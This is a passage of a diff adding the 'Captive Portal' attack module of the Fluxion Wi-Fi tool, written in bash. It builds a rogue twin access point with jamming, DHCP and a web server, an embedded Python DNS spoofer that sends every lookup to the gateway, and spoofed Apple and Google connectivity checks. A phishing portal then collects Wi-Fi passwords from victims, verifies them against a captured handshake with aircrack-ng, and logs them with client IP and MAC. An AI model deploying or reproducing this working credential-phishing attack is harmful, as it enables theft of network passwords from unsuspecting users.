return 1 + fi + CaptivePortalJammerInterfaceOriginal=$FluxionInterfaceSelected + fi + + local selectedInterface=$CaptivePortalJammerInterfaceOriginal + + if ! fluxion_allocate_interface $selectedInterface; then + echo "Failed to allocate jammer interface" > $FLUXIONOutputDevice + return 2 + fi + + echo "Succeeded get jammer interface." > $FLUXIONOutputDevice + CaptivePortalJammerInterface=${FluxionInterfaces[$selectedInterface]} +} + +captive_portal_ap_interfaces() { + interface_list_all + local interface + for interface in "${InterfaceListAll[@]}"; do + if [ "$interface" = "lo" ]; then continue; fi + echo "$interface" + done +} + +captive_portal_unset_ap_interface() { + CaptivePortalAccessPointInterfaceOriginal="" + + if [ ! "$CaptivePortalAccessPointInterface" ]; then return 1; fi + if [ "$CaptivePortalAccessPointInterface" = \ + "${CaptivePortalJammerInterface}v" ]; then + if ! iw dev $CaptivePortalAccessPointInterface del \ + &> $FLUXIONOutputDevice; then + fluxion_conditional_bail "Unable to remove virtual interface!" + exit 1 + fi + fi + CaptivePortalAccessPointInterface="" +} + +captive_portal_set_ap_interface() { + if [ "$CaptivePortalAccessPointInterface" ]; then return 0; fi + + if [ ! "$CaptivePortalAccessPointInterfaceOriginal" ]; then + echo "Running get ap interface." > $FLUXIONOutputDevice + if ! fluxion_get_interface captive_portal_ap_interfaces \ + "$CaptivePortalAccessPointInterfaceQuery"; then + echo "Failed to get ap interface" > $FLUXIONOutputDevice + return 1 + fi + CaptivePortalAccessPointInterfaceOriginal=$FluxionInterfaceSelected + fi + + local selectedInterface=$CaptivePortalAccessPointInterfaceOriginal + + if ! fluxion_allocate_interface $selectedInterface; then + echo "Failed to allocate ap interface" > $FLUXIONOutputDevice + return 2 + fi + + echo "Succeeded get ap interface." > $FLUXIONOutputDevice + CaptivePortalAccessPointInterface=${FluxionInterfaces[$selectedInterface]} + + # If interfaces are the same, we need an independent virtual interface. + if [ "$CaptivePortalAccessPointInterface" = \ + "$CaptivePortalJammerInterface" ]; then + # TODO: Make fluxion's interface services manage virtual interfaces. + # Have fluxion_get_interface return a virutal interface if the primary + # interface is in used by something else (virtual reservation?). + echo "Virtual interface required, attempting." > $FLUXIONOutputDevice + if ! iw dev $CaptivePortalJammerInterface interface \ + add ${CaptivePortalJammerInterface}v type monitor \ + 2> $FLUXIONOutputDevice; then + echo -e "$FLUXIONVLine $CaptivePortalCannotStartInterfaceError" + sleep 5 + return 2 + fi + echo "Virtual interface created successfully." > $FLUXIONOutputDevice + CaptivePortalAccessPointInterface=${CaptivePortalJammerInterface}v + fi +} + +function captive_portal_unset_ap_service() { + if [ ! "$CaptivePortalAPService" ]; then return 1; fi + + CaptivePortalAPService="" + + # Since we're auto-selecting when on auto, trigger undo-chain. + if [ "$FLUXIONAuto" ]; then return 2; fi + + if ! interface_is_wireless "$CaptivePortalAccessPointInterface"; then + return 3; + fi +} + +function captive_portal_set_ap_service() { + if [ "$CaptivePortalAPService" ]; then + if ! type -t ap_service_start; then + # AP Service: Load the service's helper routines. + source "$FLUXIONLibPath/ap/$CaptivePortalAPService.sh" + fi + return 0 + fi + if ! interface_is_wireless "$CaptivePortalAccessPointInterface"; then + return 0 + fi + + captive_portal_unset_ap_service + + if [ "$FLUXIONAuto" ]; then + CaptivePortalAPService="hostapd" + else + fluxion_header + + echo -e "$FLUXIONVLine $CaptivePortalAPServiceQuery" + echo + + fluxion_target_show + + local choices=( + "$CaptivePortalAPServiceHostapdOption" + "$CaptivePortalAPServiceAirbaseOption" + "$FLUXIONGeneralBackOption" + ) + io_query_choice "" choices[@] + + echo + + case "$IOQueryChoice" in + "$CaptivePortalAPServiceHostapdOption") + CaptivePortalAPService="hostapd" ;; + "$CaptivePortalAPServiceAirbaseOption") + CaptivePortalAPService="airbase-ng" ;; + "$FLUXIONGeneralBackOption") + return 1 + ;; + *) + fluxion_conditional_bail "Invalid AP service selected!" + return 1 + ;; + esac + fi + + # AP Service: Load the service's helper routines. + source "$FLUXIONLibPath/ap/$CaptivePortalAPService.sh" +} + +captive_portal_unset_authenticator() { + if [ ! "$CaptivePortalAuthenticatorMode" ]; then return 0; fi + + case "$CaptivePortalAuthenticatorMode" in + "hash") + echo "Unset hash is done automatically." > $FLUXIONOutputDevice ;; + esac + + CaptivePortalAuthenticatorMode="" + + # If we've only got one option, then the user skipped this section + # by auto-selecting that single option, so we unset the previous + # phase along with this one to properly take the user back. + if [ ${#CaptivePortalAuthenticationMethods[@]} -le 1 ]; then + return 1 # Trigger undo chain because it was auto-selected. + fi +} + +captive_portal_set_authenticator() { + if [ "$CaptivePortalAuthenticatorMode" ]; then + case "$CaptivePortalAuthenticatorMode" in + "hash") + if [ "$CaptivePortalHashPath" ]; then + echo "Captive Portal authentication mode is already set, skipping!" \ + > $FLUXIONOutputDevice + return 0 + fi + ;; + esac + fi + + captive_portal_unset_authenticator + + # If we've got only one choice, auto-select it for the user. + if [ \ + ${#CaptivePortalAuthenticationMethods[@]} -eq 1 -o \ + ${#CaptivePortalAuthenticationMethods[@]} -ge 1 -a \ + "$FLUXIONAuto" ]; then + CaptivePortalAuthenticatorMode="${CaptivePortalAuthenticationMethods[0]}" + echo "Auto-selected auth-method: $CaptivePortalAuthenticatorMode" \ + > $FLUXIONOutputDevice + else + fluxion_header + + echo -e "$FLUXIONVLine $CaptivePortalVerificationMethodQuery" + echo + + fluxion_target_show + + local choices=( + "${CaptivePortalAuthenticationMethods[@]}" + "$FLUXIONGeneralBackOption" + ) + io_query_format_fields "" "\t$CRed[$CYel%d$CRed]$CClr %b %b\n" \ + choices[@] CaptivePortalAuthenticationMethodsInfo[@] + + echo + + CaptivePortalAuthenticatorMode="${IOQueryFormatFields[0]}" + + # If we're going back, reset everything and abort. + if [[ \ + "$CaptivePortalAuthenticatorMode" == \ + "$FLUXIONGeneralBackOption" ]]; then + captive_portal_unset_authenticator + return -1 + fi + fi + + # Process the authentication method selected. + local result=1 # Assume failure at first. + case "$CaptivePortalAuthenticatorMode" in + "hash") + # Pass default path if no path is set yet. + if [ ! "$CaptivePortalHashPath" ]; then + CaptivePortalHashPath="$FLUXIONPath/attacks/Handshake Snooper/handshakes/$FluxionTargetSSIDClean-$FluxionTargetMAC.cap" + fi + + fluxion_hash_get_path \ + "$CaptivePortalHashPath" "$FluxionTargetMAC" "$FluxionTargetSSID" + result=$? + + if [ $result -eq 0 ]; then + CaptivePortalHashPath="$FluxionHashPath" + fi + ;; + esac + + # Assure authentication method processing succeeded, abort otherwise. + if [ $result -ne 0 ] && [ "$FLUXIONDebug" == "" ]; then + echo "Auth-mode error code $result!" > $FLUXIONOutputPath + return 1 + fi +} + +captive_portal_run_certificate_generator() { + xterm -bg "#000000" -fg "#CCCCCC" \ + -title "Generating Self-Signed SSL Certificate" -e openssl req \ + -subj '/CN=captive.gateway.lan/O=CaptivePortal/OU=Networking/C=US' \ + -new -newkey rsa:2048 -days 365 -nodes -x509 \ + -keyout "$FLUXIONWorkspacePath/server.pem" \ + -out "$FLUXIONWorkspacePath/server.pem" + # Details -> https://www.openssl.org/docs/manmaster/apps/openssl.html + chmod 400 "$FLUXIONWorkspacePath/server.pem" +} + +captive_portal_unset_certificate() { + if [ ! "$CaptivePortalSSL" ]; then return 1; fi + # WARNING: The server configuration depends on whether the certificate + # file exists and is positioned in the proper location. The check above + # could unsynchronize with the certificate file if we're not careful! + sandbox_remove_workfile "$FLUXIONWorkspacePath/server.pem" + CaptivePortalSSL="" + + # Since we're auto-selecting when on auto, trigger undo-chain. + if [ "$FLUXIONAuto" ]; then return 2; fi +} + +# Create Self-Signed SSL Certificate +captive_portal_set_certificate() { + if [ \ + "$CaptivePortalSSL" = "disabled" -o \ + "$CaptivePortalSSL" = "enabled" -a \ + -f "$FLUXIONWorkspacePath/server.pem" ]; then + echo "Captive Portal SSL mode already set to $CaptivePortalSSL!" \ + > $FLUXIONOutputDevice + return 0 + fi + + # TODO: This is temporary solution, refactor this. + if [ "$CaptivePortalSSL" = "enabled" ]; then + local -r restoring=true + fi + + captive_portal_unset_certificate + + # Check existance of ssl certificate within fluxion with file size > 0 + # If user-supplied (fancy) certificate exists, copy it to fluxspace. + if [ \ + -f "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" -a \ + -s "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \ + ]; then + cp "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \ + "$FLUXIONWorkspacePath/server.pem" + + CaptivePortalSSL="enabled" # Enabled if sourcing user certificate + + echo "Captive Portal certificate was user supplied, skipping query!" \ + > $FLUXIONOutputDevice + return 0 + fi + + + # Check if we're restoring and we need to re-create certificate. + if [ "$restoring" ]; then + if ! captive_portal_run_certificate_generator; then + fluxion_conditional_bail "cert-gen failed!" + return 2 + fi + CaptivePortalSSL="enabled" + return 0 + fi + + + if [ "$FLUXIONAuto" ]; then + CaptivePortalSSL="disabled" + else + local choices=( + "$CaptivePortalCertificateSourceGenerateOption" + "$CaptivePortalCertificateSourceRescanOption" + "$CaptivePortalCertificateSourceDisabledOption" + "$FLUXIONGeneralBackOption" + ) + + io_query_choice "$CaptivePortalCertificateSourceQuery" choices[@] + + echo + + case "$IOQueryChoice" in + "$CaptivePortalCertificateSourceGenerateOption") + # If cert generator fails, gtfo, something broke! + if ! captive_portal_run_certificate_generator; then + fluxion_conditional_bail "cert-gen failed!" + return 2 + fi + CaptivePortalSSL="enabled" + ;; + + "$CaptivePortalCertificateSourceRescanOption") + captive_portal_set_certificate + return $? + ;; + + "$CaptivePortalCertificateSourceDisabledOption") + CaptivePortalSSL="disabled" + ;; + + "$FLUXIONGeneralBackOption") + return 1 + ;; + *) + fluxion_conditional_bail "Unknown cert-gen option!" + return 2 + ;; + esac + fi +} + +captive_portal_unset_connectivity() { + if [ ! "$CaptivePortalConnectivity" ]; then return 1; fi + CaptivePortalConnectivity="" + + # Since we're auto-selecting when on auto, trigger undo-chain. + if [ "$FLUXIONAuto" ]; then return 2; fi +} + +captive_portal_set_connectivity() { + if [ "$CaptivePortalConnectivity" ]; then return 0; fi + + captive_portal_unset_connectivity + + if [ "$FLUXIONAuto" ]; then + CaptivePortalConnectivity="disconnected" + else + local choices=( + "$CaptivePortalConnectivityDisconnectedOption" + "$CaptivePortalConnectivityEmulatedOption" + "$FLUXIONGeneralBackOption" + ) + io_query_choice "$CaptivePortalConnectivityQuery" choices[@] + + case "$IOQueryChoice" in + "$CaptivePortalConnectivityDisconnectedOption") + CaptivePortalConnectivity="disconnected" ;; + "$CaptivePortalConnectivityEmulatedOption") + CaptivePortalConnectivity="emulated" ;; + "$FLUXIONGeneralBackOption") + return 1 + ;; + *) + fluxion_conditional_bail "Unknown connectivity option!" + return 2 + ;; + esac + fi +} + +captive_portal_unset_user_interface() { + if [ -z "$CaptivePortalUserInterface" ]; then return 1; fi + CaptivePortalUserInterface="" +} + +captive_portal_set_user_interface() { + local -r attackPath="$FLUXIONPath/attacks/Captive Portal" + + # Skip setting UI if one is selected and is a custom or a generic portal. + if [ "$CaptivePortalUserInterface" != "" ] && [ \ + -d "$attackPath/sites/$CaptivePortalUserInterface.portal" -o \ + -f "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" ]; then + return 0 + fi + + captive_portal_unset_user_interface + + local sites=() + + # Attempt adding generic portals only if the directory exists. + if [ -d "$FLUXIONPath/attacks/Captive Portal/generic/languages" ]; then + # Normalize the names of the generic portals for presentation. + for site in "$FLUXIONPath/attacks/Captive Portal/generic/languages/"*.lang; do + sites+=("${CaptivePortalGenericInterfaceOption}_$(basename "${site%.lang}")") + done + fi + + # Attempt adding custom portals only if the directory exists. + if [ -d "$FLUXIONPath/attacks/Captive Portal/sites" ]; then + # Retrieve available portal sites and strip the .portal extension. + for site in "$FLUXIONPath/attacks/Captive Portal/sites/"*.portal; do + sites+=("$(basename "${site%.portal}")") + done + fi + + local sitesIdentifier=("${sites[@]/_*/}" "$FLUXIONGeneralBackOption") + local sitesLanguage=("${sites[@]/*_/}") + + format_center_dynamic "$CRed[$CYel%02d$CRed]$CClr %-44b $CBlu%10s$CClr" + local queryFieldOptionsFormat=$FormatCenterDynamic + + fluxion_header + + echo -e "$FLUXIONVLine $CaptivePortalUIQuery" + + echo + + fluxion_target_show "$FluxionTargetSSID" "$FluxionTargetEncryption" \ + "$FluxionTargetChannel" "$FluxionTargetMAC" "$FluxionTargetMaker" + + io_query_format_fields "" "$queryFieldOptionsFormat\n" \ + sitesIdentifier[@] sitesLanguage[@] + + echo + + local site="${IOQueryFormatFields[0]}" + local siteLanguage="${IOQueryFormatFields[1]}" + local siteIdentifier="${site}_${siteLanguage}" + + case "$site" in + "$CaptivePortalGenericInterfaceOption") + CaptivePortalUserInterface=$siteLanguage + # source "$FLUXIONPath/attacks/Captive Portal/generic/languages/$siteLanguage.lang" + # captive_portal_generic + ;; + "$FLUXIONGeneralBackOption") + captive_portal_unset_user_interface + return 1 + ;; + *) + CaptivePortalUserInterface=$siteIdentifier + ;; + esac +} + + +captive_portal_get_client_IP() { + if [ -f "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" ]; then + MatchedClientIP=$( + cat "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" | \ + sed '/^\s*$/d' | tail -n 1 | head -n 1 + ) + else + MatchedClientIP="unknown" + fi + + echo $MatchedClientIP +} + +captive_portal_get_IP_MAC() { + if [ -f "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" ] && \ + [ "$(captive_portal_get_client_IP)" != "" ] && \ + [ -f "$FLUXIONWorkspacePath/clients.txt" ]; then + local IP=$(captive_portal_get_client_IP) + local MatchedClientMAC=$( + cat $FLUXIONWorkspacePath/clients.txt | \ + grep $IP | awk '{print $5}' | grep : | head -n 1 | \ + tr [:upper:] [:lower:] + ) + if [ "$(echo $MatchedClientMAC | wc -m)" != "18" ]; then + local MatchedClientMAC="xx:xx:xx:xx:xx:xx" + fi + else + local MatchedClientMAC="unknown" + fi + echo $MatchedClientMAC +} + +captive_portal_get_MAC_brand() { + if [ $(captive_portal_get_IP_MAC) != "" ]; then + local MACManufacturer=$( macchanger -l | \ + grep "$(echo "$(captive_portal_get_IP_MAC)" | cut -d ":" -f -3)" | \ + cut -d " " -f 5-) + if echo "$MACManufacturer" | grep -q x; then + local MACManufacturer="unknown" + fi + else + local MACManufacturer="unknown" + fi + + echo $MACManufacturer +} + + +captive_portal_unset_attack() { + sandbox_remove_workfile \ + "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + sandbox_remove_workfile \ + "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" + sandbox_remove_workfile "$FLUXIONWorkspacePath/lighttpd.conf" + sandbox_remove_workfile "$FLUXIONWorkspacePath/dhcpd.leases" + sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal/check.php" + sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal" + + # Only reset the AP if one has been defined. + if [ "$CaptivePortalAPService" -a "$(type -t ap_service_reset)" ]; then + ap_service_reset + fi +} + +# Create different settings required for the script +captive_portal_set_attack() { + local -r attackPath="$FLUXIONPath/attacks/Captive Portal" + # Load and set the captive portal user interface to the workspace. + # Check whether it's a custom, generic, or invalid portal. + if [ -d "$attackPath/sites/$CaptivePortalUserInterface.portal" ]; then + cp -r "$attackPath/sites/$CaptivePortalUserInterface.portal" \ + "$FLUXIONWorkspacePath/captive_portal" + elif [ -f "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" ]; then + source "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" + captive_portal_generic + else + return 1 + fi + + find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec \ + sed -i -e 's/$APTargetSSID/'"${FluxionTargetSSID//\//\\\/}"'/g; s/$APTargetMAC/'"${FluxionTargetMAC//\//\\\/}"'/g; s/$APTargetChannel/'"${FluxionTargetChannel//\//\\\/}"'/g' {} \; + + + # Add the PHP authenticator scripts, used to verify + # password attempts from users using the web interface. + local authenticatorFiles=("authenticator.php" "check.php" "update.php") + + for authenticatorFile in "${authenticatorFiles[@]}"; do + cp "$FLUXIONPath/attacks/Captive Portal/lib/$authenticatorFile" \ + "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" + sed -i -e 's/\$FLUXIONWorkspacePath/'"${FLUXIONWorkspacePath//\//\\\/}"'/g' \ + "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" + chmod u+x "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" + done + + # Add the files for captive portal internet connectivity checks. + cp -r "$FLUXIONPath/attacks/Captive Portal/lib/connectivity responses/" \ + "$FLUXIONWorkspacePath/captive_portal/connectivity_responses" + + + # AP Service: Prepare service for an attack. + if [ "$CaptivePortalAPService" ]; then + ap_service_prep \ + "$CaptivePortalAccessPointInterface" \ + "$CaptivePortalGatewayAddress" \ + "$FluxionTargetSSID" \ + "$FluxionTargetRogueMAC" \ + "$FluxionTargetChannel" + + CaptivePortalAccessInterface=$APServiceAccessInterface + fi + + + # Generate the dhcpd configuration file, which is + # used to provide DHCP service to rogue AP clients. + echo "\ +authoritative; + +default-lease-time 600; +max-lease-time 7200; + +subnet $CaptivePortalGatewayNetwork.0 netmask 255.255.255.0 { + option broadcast-address $CaptivePortalGatewayNetwork.255; + option routers $CaptivePortalGatewayAddress; + option subnet-mask 255.255.255.0; + option domain-name-servers $CaptivePortalGatewayAddress; + + range $CaptivePortalGatewayNetwork.100 $CaptivePortalGatewayNetwork.254; +}\ +" >"$FLUXIONWorkspacePath/dhcpd.conf" + + #create an empty leases file + touch "$FLUXIONWorkspacePath/dhcpd.leases" + + # Generate configuration for a lighttpd web-server. + echo "\ +server.document-root = \"$FLUXIONWorkspacePath/captive_portal/\" + +server.modules = ( + \"mod_access\", + \"mod_alias\", + \"mod_accesslog\", + \"mod_fastcgi\", + \"mod_redirect\", + \"mod_rewrite\" +) + +accesslog.filename = \"$FLUXIONWorkspacePath/lighttpd.log\" + +fastcgi.server = ( + \".php\" => ( + ( + \"bin-path\" => \"/usr/bin/php-cgi\", + \"socket\" => \"/tmp/fluxspace/php.socket\" + ) + ) +) + +server.port = 80 +server.pid-file = \"/var/run/lighttpd.pid\" +# server.username = \"www\" +# server.groupname = \"www\" + +mimetype.assign = ( + \".html\" => \"text/html\", + \".htm\" => \"text/html\", + \".txt\" => \"text/plain\", + \".jpg\" => \"image/jpeg\", + \".png\" => \"image/png\", + \".css\" => \"text/css\" +) + + +server.error-handler-404 = \"/\" + +static-file.exclude-extensions = ( + \".fcgi\", + \".php\", + \".rb\", + \"~\", + \".inc\" +) + +index-file.names = ( + \"index.htm\", + \"index.html\", + \"index.php\" +) +" >"$FLUXIONWorkspacePath/lighttpd.conf" + + # Configure lighttpd's SSL only if we've got a certificate and its key. + if [ -f "$FLUXIONWorkspacePath/server.pem" -a -s "$FLUXIONWorkspacePath/server.pem" ]; then + echo "\ +\$SERVER[\"socket\"] == \":443\" { + ssl.engine = \"enable\" + ssl.pemfile = \"$FLUXIONWorkspacePath/server.pem\" +} +" >>"$FLUXIONWorkspacePath/lighttpd.conf" + fi + + if [ "$CaptivePortalConnectivity" = "emulated" ]; then + echo "\ +# The following will emulate Apple's and Google's internet connectivity checks. +# This should help with no-internet-connection warnings in some devices. +\$HTTP[\"host\"] == \"captive.apple.com\" { # Respond with Apple's captive response. + server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Apple/\" +} + +# Respond with Google's captive response on certain domains. +# Domains: www.google.com, clients[0-9].google.com, connectivitycheck.gstatic.com, connectivitycheck.android.com, android.clients.google.com, alt[0-9]-mtalk.google.com, mtalk.google.com +\$HTTP[\"host\"] =~ \"((www|(android\.)?clients[0-9]*|(alt[0-9]*-)?mtalk)\.google|connectivitycheck\.(android|gstatic))\.com\" { + server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\" + url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" ) +} +" >>"$FLUXIONWorkspacePath/lighttpd.conf" + else + echo "\ +# Redirect all traffic to the captive portal when not emulating a connection. +\$HTTP[\"host\"] != \"captive.gateway.lan\" { + url.redirect-code = 302 + url.redirect = ( + \"^/(.*)\" => \"http://captive.gateway.lan/\", + ) +} +" >>"$FLUXIONWorkspacePath/lighttpd.conf" + fi + + # Create a DNS service with python, forwarding all traffic to gateway. + echo "\ +import sys, traceback, socket +# NOTICE: This DNS server works with python 2 and python 3 + +class DNSQuery: + def __init__(self, data): + self.data = data + self.domain = '' + + queryType = (ord(data[2]) >> 3) & 15 + + # Only handle basic requests. + if queryType != 0: + print('Ignoring Query: Non-spoofed type.') + return + + domainStart = 13 # Skip length byte and start at domain. + domainLength = ord(data[domainStart - 1]) # Evaluate length byte. + + while domainLength != 0: + self.domain += data[domainStart : domainStart + domainLength] + '.' + + domainStart += domainLength + 1 # Skip the length byte & start at domain. + domainLength = ord(data[domainStart - 1]) # Evaluate length byte. + + def response(self, ipv4): + if not self.domain: return '' + + packet = '' + + packet += self.data[ :2] + '\x81\x80' + packet += self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' + packet += self.data[12:] + packet += '\xc0\x0c' + packet += '\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' + + # Convert string IPv4 quads to binary values (bytes). + packet += str.join('', map(lambda s: chr(int(s)), ipv4.split('.'))) + + return packet + +if __name__ == '__main__': + targetIPv4 = '$CaptivePortalGatewayAddress' + + print('Mini DNS Spoofer:: dom.query. 60 IN A %s' % targetIPv4) + + link = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + link.bind(('',53)) + + try: + while True: + clientData, clientIPv4 = link.recvfrom(1024) + + queryData = clientData if sys.version_info < (3, 0) else clientData.decode('unicode_escape') + + query = DNSQuery(queryData) + + response = query.response(targetIPv4) + + if sys.version_info > (3, 0): + # Someone that knows more about python and how it does byte-handling, + # please fix the following shitfest and make it a bit more elegant. + # Do what? A raw conversion of the \"response\" string to bytes. + responseHex = '' + for xx in response: + responseHex += \"%x%x\" % ((ord(xx) >> 4) & 0b1111, ord(xx) & 0b1111) + + response = bytearray.fromhex(responseHex) + + link.sendto(response, clientIPv4) + + print('Request: %s -> %s' % (query.domain, targetIPv4)) + + except KeyboardInterrupt: + print('INTERRUPT: Stopping.') + link.close() + + except Exception as error: + print('EXCEPTION: Stopping!') + print(error) + print(traceback.format_exc()) + link.close() +" >"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" + + chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" + + local -r targetSSIDCleanNormalized=${FluxionTargetSSIDClean//"/\\"} + # Attack arbiter script + echo "\ +#!/usr/bin/env bash + +signal_stop_attack() { + kill -s SIGABRT $$ # Signal STOP ATTACK + handle_abort_authenticator +} + +handle_abort_authenticator() { + AuthenticatorState=\"aborted\" +} + +trap signal_stop_attack SIGINT SIGHUP +trap handle_abort_authenticator SIGABRT + +echo > \"$FLUXIONWorkspacePath/candidate.txt\" +echo -n \"0\"> \"$FLUXIONWorkspacePath/hit.txt\" + +# Assure we've got a directory to store net logs into. +if [ ! -d \"$CaptivePortalNetLog\" ]; then + mkdir -p \"$CaptivePortalNetLog\" +fi + +# Assure we've got a directory to store pwd logs into. +if [ ! -d \"$CaptivePortalPassLog\" ]; then + mkdir -p \"$CaptivePortalPassLog\" +fi + +# Make console cursor invisible, cnorm to revert. +tput civis +clear + +m=0 +h=0 +s=0 +i=0 + +AuthenticatorState=\"running\" + +startTime=\$(date +%s) + +while [ \$AuthenticatorState = \"running\" ]; do + let s=\$(date +%s)-\$startTime + + d=\`expr \$s / 86400\` + s=\`expr \$s % 86400\` + h=\`expr \$s / 3600\` + s=\`expr \$s % 3600\` + m=\`expr \$s / 60\` + s=\`expr \$s % 60\` + + if [ \"\$s\" -le 9 ]; then + is=\"0\" + else + is= + fi + + if [ \"\$m\" -le 9 ]; then + im=\"0\" + else + im= + fi + + if [ \"\$h\" -le 9 ]; then + ih=\"0\" + else + ih= + fi + + if [ -f \"$FLUXIONWorkspacePath/pwdattempt.txt\" -a -s \"$FLUXIONWorkspacePath/pwdattempt.txt\" ]; then + # Save any new password attempt. + cat \"$FLUXIONWorkspacePath/pwdattempt.txt\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log\" + + # Clear logged password attempt. + echo -n > \"$FLUXIONWorkspacePath/pwdattempt.txt\" + fi + + if [ -f \"$FLUXIONWorkspacePath/ip_hits\" -a -s \"$FLUXIONWorkspacePath/ip_hits.txt\" ]; then + cat \"$FLUXIONWorkspacePath/ip_hits\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\" + echo \" \" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\" + echo -n > \"$FLUXIONWorkspacePath/ip_hits\" + fi + +" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + + if [ $CaptivePortalAuthenticatorMode = "hash" ]; then + echo " + if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then + # Check if we've got the correct password by looking for anything other than \"Passphrase not in\" or \"KEY NOT FOUND\". + if ! aircrack-ng -b $FluxionTargetMAC -w \"$FLUXIONWorkspacePath/candidate.txt\" \"$CaptivePortalHashPath\" | egrep -qi \"Passphrase not in|KEY NOT FOUND\"; then + echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" + + sleep 1 + break + + else + echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" + + fi + fi" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + fi + + local -r staticSSID=$(printf "%q" "$FluxionTargetSSID" | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g") + echo " + readarray -t DHCPClients < <(nmap -PR -sn -n -oG - $CaptivePortalGatewayNetwork.100-110 2>&1 | grep Host) + + echo + echo -e \" ACCESS POINT:\" + printf \" SSID ...........: $CWht%s$CClr\\n\" \"$staticSSID\" + echo -e \" MAC ............: $CYel$FluxionTargetMAC$CClr\" + echo -e \" Channel ........: $CWht$FluxionTargetChannel$CClr\" + echo -e \" Vendor .........: $CGrn${FluxionTargetMaker:-UNKNOWN}$CClr\" + echo -e \" Runtime ........: $CBlu\$ih\$h:\$im\$m:\$is\$s$CClr\" + echo -e \" Attempts .......: $CRed\$(cat $FLUXIONWorkspacePath/hit.txt)$CClr\" + echo -e \" Clients ........: $CBlu\$(cat $FLUXIONWorkspacePath/clients.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)$CClr\" + echo + echo -e \" CLIENTS ONLINE:\" + + x=0 + for client in \"\${DHCPClients[@]}\"; do + x=\$((\$x+1)) + + ClientIP=\$(echo \$client| cut -d \" \" -f2) + ClientMAC=\$(nmap -PR -sn -n \$ClientIP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) + + if [ \"\$(echo \$ClientMAC| wc -m)\" != \"18\" ]; then + ClientMAC=\"xx:xx:xx:xx:xx:xx\" + fi + + ClientMID=\$(macchanger -l | grep \"\$(echo \"\$ClientMAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) + + if echo \$ClientMAC| grep -q x; then + ClientMID=\"unknown\" + fi + + ClientHostname=\$(grep \$ClientIP \"$FLUXIONWorkspacePath/clients.txt\" | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') + + echo -e \" $CGrn \$x) $CRed\$ClientIP $CYel\$ClientMAC $CClr($CBlu\$ClientMID$CClr) $CGrn \$ClientHostname$CClr\" + done + + echo -ne \"\033[K\033[u\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + + if [ $CaptivePortalAuthenticatorMode = "hash" ]; then + echo " + sleep 1" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + fi + + echo " +done + +if [ \$AuthenticatorState = \"aborted\" ]; then exit 1; fi + +clear +echo \"1\" > \"$FLUXIONWorkspacePath/status.txt\" + +# sleep 7 +sleep 3 + +signal_stop_attack + +echo \" +FLUXION $FLUXIONVersion.$FLUXIONRevision + +SSID: \\\"$staticSSID\\\" +BSSID: $FluxionTargetMAC ($FluxionTargetMaker) +Channel: $FluxionTargetChannel +Security: $FluxionTargetEncryption +Time: \$ih\$h:\$im\$m:\$is\$s +Password: \$(cat $FLUXIONWorkspacePath/candidate.txt) +Mac: $(captive_portal_get_IP_MAC) ($(captive_portal_get_MAC_brand)) +IP: $(captive_portal_get_client_IP) +\" >\"$CaptivePortalNetLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + + if [ $CaptivePortalAuthenticatorMode = "hash" ]; then + echo " +aircrack-ng -a 2 -b $FluxionTargetMAC -0 -s \"$CaptivePortalHashPath\" -w \"$FLUXIONWorkspacePath/candidate.txt\" && echo && echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log"$CClr"\"\ +" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + fi + + chmod +x "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" +} + +# Generate the contents for a generic web interface +captive_portal_generic() { + if [ ! -d "$FLUXIONWorkspacePath/captive_portal" ]; then + mkdir "$FLUXIONWorkspacePath/captive_portal" + fi + + base64 -d "$FLUXIONPath/attacks/Captive Portal/generic/assets" >"$FLUXIONWorkspacePath/file.zip" + + unzip "$FLUXIONWorkspacePath/file.zip" -d "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice + sandbox_remove_workfile 